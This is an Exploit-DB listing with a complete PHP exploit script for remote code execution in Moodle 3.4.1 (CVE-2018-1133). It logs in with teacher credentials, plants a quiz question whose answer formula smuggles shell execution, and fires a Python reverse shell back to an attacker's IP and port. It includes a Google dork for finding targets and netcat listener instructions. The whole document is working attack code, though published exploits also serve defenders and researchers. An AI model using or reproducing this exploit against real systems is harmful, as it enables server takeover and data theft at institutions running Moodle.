Moodle 3.4.1 - Remote Code Execution

EDB-ID:

46551


Platform:

PHP

Published:

2019-03-15

<?php
/**
 * Exploit Title: Moodle v3.4.1 RCE Exploit
 * Google Dork: inurl:"/course/jumpto.php?jump="
 * Date: 15 March 2019
 * Exploit Author: Darryn Ten
 * Vendor Homepage: https://moodle.org
 * Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
 * Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
 * Tested on: Linux with Moodle v3.4.1
 * CVE : CVE-2018-1133
 *
 * This exploit is based on information provided by Robin Peraglie.
 * Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
 *
 * A user with the teacher role is able to execute arbitrary code.
 *
 * Usage:
 *
 * >  php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
 *
 * user       The account username
 * pass       The password to the account
 * ip         Callback IP
 * port       Callback Port
 * course     Valid course ID belonging to the teacher
 *
 * Make sure you're running a netcat listener on the specified port before
 * executing this script.
 *
 * > nc -lnvp 1010
 *
 * This will attempt to open up a reverse shell to the listening IP and port.
 *
 * You can start the script with `debug=true` to enable debug mode.
 */
namespace exploit {
    class moodle {
        public $ip;
        public $port;
        public $courseId;

        public $cookie_jar;
        public $url;
        public $pass;
        public $payload;
        public $quizId = false;

        public $moodleSession = false;
        public $moodleKey;

        // Verification patterns
        public $loginSuccessMatch = "/course.view\.php/";
        public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";
        public $editSuccessMatch = "/.view.php\?id=2&notifyeditingon=1/";
        public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";
        public $quizConfigMatch = "/title.*xxxx.\/title./";
        public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";

        public $debug;

        public function __construct($url, $user, $pass, $ip, $port, $course, $debug) {
            $this->cookie_jar = tempnam("/tmp","cookie");
            $this->url = $url;
            $this->pass = $pass;
            $this->ip = $ip;
            $this->port = $port;
            $this->courseId = $course;
            $this->debug = $debug;

            // Inject a reverse shell
            // You could modify this payload to inject whatever you like
            $this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')";

            echo("\n\r");
            echo("*------------------------------*\n\r");
            echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");
            echo("*------------------------------*\n\r");
            echo("\n\r");
            echo("[!] Make sure you have a listener\n\r");
            echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));
            echo("\n\r");

            $this->login($url, $user, $pass);
            $this->loadCourse($this->courseId);
            $this->enableEdit();
            $this->addQuiz();
            $this->editQuiz();
            $this->addCalculatedQuestion();
            $this->addEvilQuestion();
            $this->exploit();
            echo "[*] DONE\n\r";
            die();
        }

        function login($url, $user, $pass) {
            echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass));

            $data = [
                "anchor" => "",
                "username" => $user,
                "password" => $pass
            ];

            $result = $this->httpPost("/login/index.php", $data);

            if (!preg_match($this->loginSuccessMatch, $result["body"])) {
                echo "[-] LOGIN FAILED!\n\r";
                echo "[?] Do you have the right credentials and url?\n\r";
                die();
            }

            $matches = [];
            $cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches);

            $this->moodleSession = $matches[1][1];

            $matches = [];
            $key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches);

            $this->moodleKey = $matches[1][0];

            echo "[+] Successful Login\n\r";
            echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession);
            echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey);
        }

        function loadCourse($id) {
            echo(sprintf("[*] Loading Course ID %s \n\r", $id));
            $result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);

            if (!preg_match($this->courseSuccessMatch, $result["body"])) {
                echo "[-] LOADING COURSE FAILED!\n\r";
                echo "[?] Does the course exist and belong to the teacher?\n\r";
                die();
            }

            echo "[+] Successfully Loaded Course\n\r";
        }

        function enableEdit() {
            echo(sprintf("[*] Enable Editing\n\r"));
            $result = $this->httpGet(sprintf(
                "/course/view.php?id=%s&sesskey=%s&edit=on",
                $this->courseId,
                $this->moodleKey
            ), $this->moodleSession);

            if (!preg_match($this->editSuccessMatch, $result["header"])) {
                echo "[-] ENABLE EDITING FAILED!\n\r";
                echo "[?] Does the user have the teacher role?\n\r";
                die();
            }

            echo "[+] Successfully Enabled Course Editing\n\r";
        }

        function addQuiz() {
            echo(sprintf("[*] Adding Quiz\n\r"));

            $data = [
                "course" => $this->courseId,
                "sesskey" => $this->moodleKey,
                "jump" => urlencode(sprintf(
                    "/course/mod.php?id=%s&sesskey=%s&str=0&add=quiz&section=0",
                    $this->courseId,
                    $this->moodleKey
                )),
            ];

            $result = $this->httpPost("/course/jumpto.php", $data, $this->moodleSession);

            if (!preg_match($this->quizSuccessMatch, $result["body"])) {
                echo "[-] ADD QUIZ FAILED!\n\r";
                die();
            }

            echo "[+] Successfully Added Quiz\n\r";
            echo "[*] Configuring New Quiz\n\r";

            $submit = [
                "grade" => 10,
                "boundary_repeats" => 1,
                "completionunlocked" => 1,
                "course" => $this->courseId,
                "coursemodule" => "",
                "section" => 0,
                "module" => 16,
                "modulename" => "quiz",
                "instance" => "",
                "add" => "quiz",
                "update" => 0,
                "return" => 0,
                "sr" => 0,
                "sesskey" => $this->moodleKey,
                "_qf__mod_quiz_mod_form" => 1,
                "mform_showmore_id_layouthdr" => 0,
                "mform_showmore_id_interactionhdr" => 0,
                "mform_showmore_id_display" => 0,
                "mform_showmore_id_security" => 0,
                "mform_isexpanded_id_general" => 1,
                "mform_isexpanded_id_timing" => 0,
                "mform_isexpanded_id_modstandardgrade" => 0,
                "mform_isexpanded_id_layouthdr" => 0,
                "mform_isexpanded_id_interactionhdr" => 0,
                "mform_isexpanded_id_reviewoptionshdr" => 0,
                "mform_isexpanded_id_display" => 0,
                "mform_isexpanded_id_security" => 0,
                "mform_isexpanded_id_overallfeedbackhdr" => 0,
                "mform_isexpanded_id_modstandardelshdr" => 0,
                "mform_isexpanded_id_availabilityconditionsheader" => 0,
                "mform_isexpanded_id_activitycompletionheader" => 0,
                "mform_isexpanded_id_tagshdr" => 0,
                "mform_isexpanded_id_competenciessection" => 0,
                "name" => "xxxx",
                "introeditor[text]" => "<p>xxxx<br></p>",
                "introeditor[format]" => 1,
                "introeditor[itemid]" => 966459952,
                "showdescription" => 0,
                "overduehandling" => "autosubmit",
                "gradecat" => 1,
                "gradepass" => "",
                "attempts" => 0,
                "grademethod" => 1,
                "questionsperpage" => 1,
                "navmethod" => "free",
                "shuffleanswers" => 1,
                "preferredbehaviour" => "deferredfeedback",
                "attemptonlast" => 0,
                "attemptimmediately" => 1,
                "correctnessimmediately" => 1,
                "marksimmediately" => 1,
                "specificfeedbackimmediately" => 1,
                "generalfeedbackimmediately" => 1,
                "rightanswerimmediately" => 1,
                "overallfeedbackimmediately" => 1,
                "attemptopen" => 1,
                "correctnessopen" => 1,
                "marksopen" => 1,
                "specificfeedbackopen" => 1,
                "generalfeedbackopen" => 1,
                "rightansweropen" => 1,
                "overallfeedbackopen" => 1,
                "showuserpicture" => 0,
                "decimalpoints" => 2,
                "questiondecimalpoints" => -1,
                "showblocks" => 0,
                "quizpassword" => "",
                "subnet" => "",
                "browsersecurity" => "-",
                "feedbacktext[0][text]" => "",
                "feedbacktext[0][format]" => 1,
                "feedbacktext[0][itemid]" => 754687559,
                "feedbackboundaries[0]" => "",
                "feedbacktext[1][text]" => "",
                "feedbacktext[1][format]" => 1,
                "feedbacktext[1][itemid]" => 88204176,
                "visible" => 1,
                "cmidnumber" => "",
                "groupmode" => 0,
                "availabilityconditionsjson" => urlencode("{\"op\":\"&\",\"c\":[],\"showc\":[]}"),
                "completion" => 1,
                "tags" => "_qf__force_multiselect_submission",
                "competency_rule" => 0,
                "submitbutton" => "Save and display"
            ];

            $result = $this->httpPost("/course/modedit.php", $submit, $this->moodleSession);

            if (!preg_match($this->quizConfigMatch, $result["body"])) {
                echo "[-] CONFIGURE QUIZ FAILED!\n\r";
                die();
            }

            $matches = [];
            $quiz = preg_match_all("/quiz\/view.php.id=(.*)&forceview=1/", $result["header"], $matches);

            $this->quizId = $matches[1][0];

            echo "[+] Successfully Configured Quiz\n\r";
        }

        function editQuiz() {
            echo(sprintf("[*] Loading Edit Quiz Page \n\r"));
            $result = $this->httpGet(sprintf("/mod/quiz/edit.php?cmid=%s", $this->quizId), $this->moodleSession);

            if (!preg_match("/.title.Editing quiz: xxxx.\/title/", $result["body"])) {
                echo "[-] LOADING EDITING PAGE FAILED!\n\r";
                die();
            }

            echo "[+] Successfully Loaded Edit Quiz Page\n\r";
        }

        function addCalculatedQuestion() {
            echo(sprintf("[*] Adding Calculated Question \n\r"));

            $endpoint = "/question/question.php?courseid=".$this->courseId."&sesskey=".$this->moodleKey."&qtype=calculated&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D".$this->quizId."%26addonpage%3D0&cmid=".$this->quizId."&category=2&addonpage=0&appendqnumstring=addquestion'";

            $result = $this->httpGet($endpoint, $this->moodleSession);

            if (!preg_match("/title.Editing\ a\ Calculated\ question.\/title/", $result["body"])) {
                echo "[-] ADDING CALCULATED QUESTION FAILED!\n\r";
                die();
            }

            echo "[+] Successfully Added Calculation Question\n\r";
        }

        function addEvilQuestion() {
            echo(sprintf("[*] Adding Evil Question \n\r"));

            $payload = [
                "initialcategory" => 1,
                "reload" => 1,
                "shuffleanswers" => 1,
                "answernumbering" => "abc",
                "mform_isexpanded_id_answerhdr" => 1,
                "noanswers" => 1,
                "nounits" => 1,
                "numhints" => 2,
                "synchronize" => "",
                "wizard" => "datasetdefinitions",
                "id" => "",
                "inpopup" => 0,
                "cmid" => $this->quizId,
                "courseid" => 2,
                "returnurl" => sprintf("/mod/quiz/edit.php?cmid=%s&addonpage=0", $this->quizId),
                "scrollpos" => 0,
                "appendqnumstring" => "addquestion",
                "qtype" => "calculated",
                "makecopy" => 0,
                "sesskey" => $this->moodleKey,
                "_qf__qtype_calculated_edit_form" => 1,
                "mform_isexpanded_id_generalheader" => 1,
                "mform_isexpanded_id_unithandling" => 0,
                "mform_isexpanded_id_unithdr" => 0,
                "mform_isexpanded_id_multitriesheader" => 0,
                "mform_isexpanded_id_tagsheader" => 0,
                "category" => "2,23",
                "name" => "zzzz",
                "questiontext[text]" => "<p>zzzz<br></p>",
                "questiontext[format]" => 1,
                "questiontext[itemid]" => 999787569,
                "defaultmark" => 1,
                "generalfeedback[text]" => "",
                "generalfeedback[format]" => 1,
                "generalfeedback[itemid]" => 729029157,
                "answer[0]" => ' /*{a*/`$_GET[0]`;//{x}}',
                "fraction[0]" => "1.0",
                "tolerance[0]" => "0.01",
                "tolerancetype[0]" => 1,
                "correctanswerlength[0]" => 2,
                "correctanswerformat[0]" => 1,
                "feedback[0][text]" => "",
                "feedback[0][format]" => 1,
                "feedback[0][itemid]" => 928615051,
                "unitrole" => 3,
                "penalty" => "0.3333333",
                "hint[0]text]" => "",
                "hint[0]format]" => 1,
                "hint[0]itemid]" => 236679070,
                "hint[1]text]" => "",
                "hint[1]format]" => 1,
                "hint[1]itemid]" => 272691514,
                "tags" => "_qf__force_multiselect_submission",
                "submitbutton" => "Save change"
            ];

            $result = $this->httpPost("/question/question.php", $payload, $this->moodleSession);

            if (!preg_match($this->evilSuccess, $result["body"])) {
                echo "[-] EVIL QUESTION CREATION FAILED!\n\r";
                die();
            }

            echo "[+] Successfully Created Evil Question\n\r";
        }

        function exploit() {
            echo "[*] Sending Exploit\n\r";
            echo "\n\r";

            if ($this->debug) {
                echo "[D] Payload: \n\r";
                echo sprintf("[>] %s \n\r", $this->payload);
            }

            $exploitUrl = sprintf(
                "/question/question.php?returnurl=%s&addonpage=0&appendqnumstring=addquestion&scrollpos=0&id=8&wizardnow=datasetitems&cmid=%s&0=(%s)",
                urlencode(sprintf(
                    "/mod/quiz/edit.php?cmid=%s",
                    $this->quizId)
                ),
                $this->quizId,
                $this->payload);

            if ($this->debug) {
                echo sprintf("[D] Exploit URL: %s \n\r", $exploitUrl);
            }

            echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port);
            echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r");
            echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r");
            $this->httpGet($exploitUrl, $this->moodleSession);
        }

        function httpPost($url, $data, $session = false, $json = false)
        {
            if ($this->debug) {
                echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url));
                echo(sprintf("[D] Session: %s \n\r", $session));
                echo(sprintf("[D] Data: %s \n\r", json_encode($data)));
                echo("\n\r");
            }

            $curl = curl_init(sprintf("%s%s", $this->url, $url));

            $headers = [];

            if ($session) {
                array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
            }

            if ($json) {
                array_push($headers, "Content-Type: application/json");
            } else {
                $data =  urldecode(http_build_query($data));
            }

            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_HEADER, true);
            curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
            $response = curl_exec($curl);

            $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
            $header = substr($response, 0, $header_size);
            $body = substr($response, $header_size);

            if ($this->debug) {
                echo "[D] Response Header";
                echo sprintf("[>] %s", $header);
                echo "";
                echo "[D] Response Body";
                echo sprintf("[>] %s", $body);
            }

            return [
                "header" => $header,
                "body" => $body
            ];
        }

        function httpGet($route, $session = false)
        {
            $url = sprintf("%s%s", $this->url, $route);

            if ($this->debug) {
                echo(sprintf("[D] Doing HTTP GET to URL: %s \n\r", $url));
                echo("\n\r");
            }

            $headers = [];

            if ($session) {
                array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
            }

            $curl = curl_init($url);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_HEADER, true);
            curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
            $response = curl_exec($curl);

            $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
            $header = substr($response, 0, $header_size);
            $body = substr($response, $header_size);

            if ($this->debug) {
                echo "[D] Response Header";
                echo sprintf("[>] %s", $header);
                echo "";
                echo "[D] Response Body";
                echo sprintf("[>] %s", $body);
            }

            return [
                "header" => $header,
                "body" => $body
            ];
        }
    }

    parse_str(implode("&", array_slice($argv, 1)), $_GET);

    $url = $_GET["url"];
    $user = $_GET["user"];
    $pass = $_GET["pass"];
    $ip = $_GET["ip"];
    $port = $_GET["port"];
    $course = $_GET["course"];
    $debug = isset($_GET["debug"]) ? true : false;

    new \exploit\moodle($url, $user, $pass, $ip, $port, $course, $debug);
}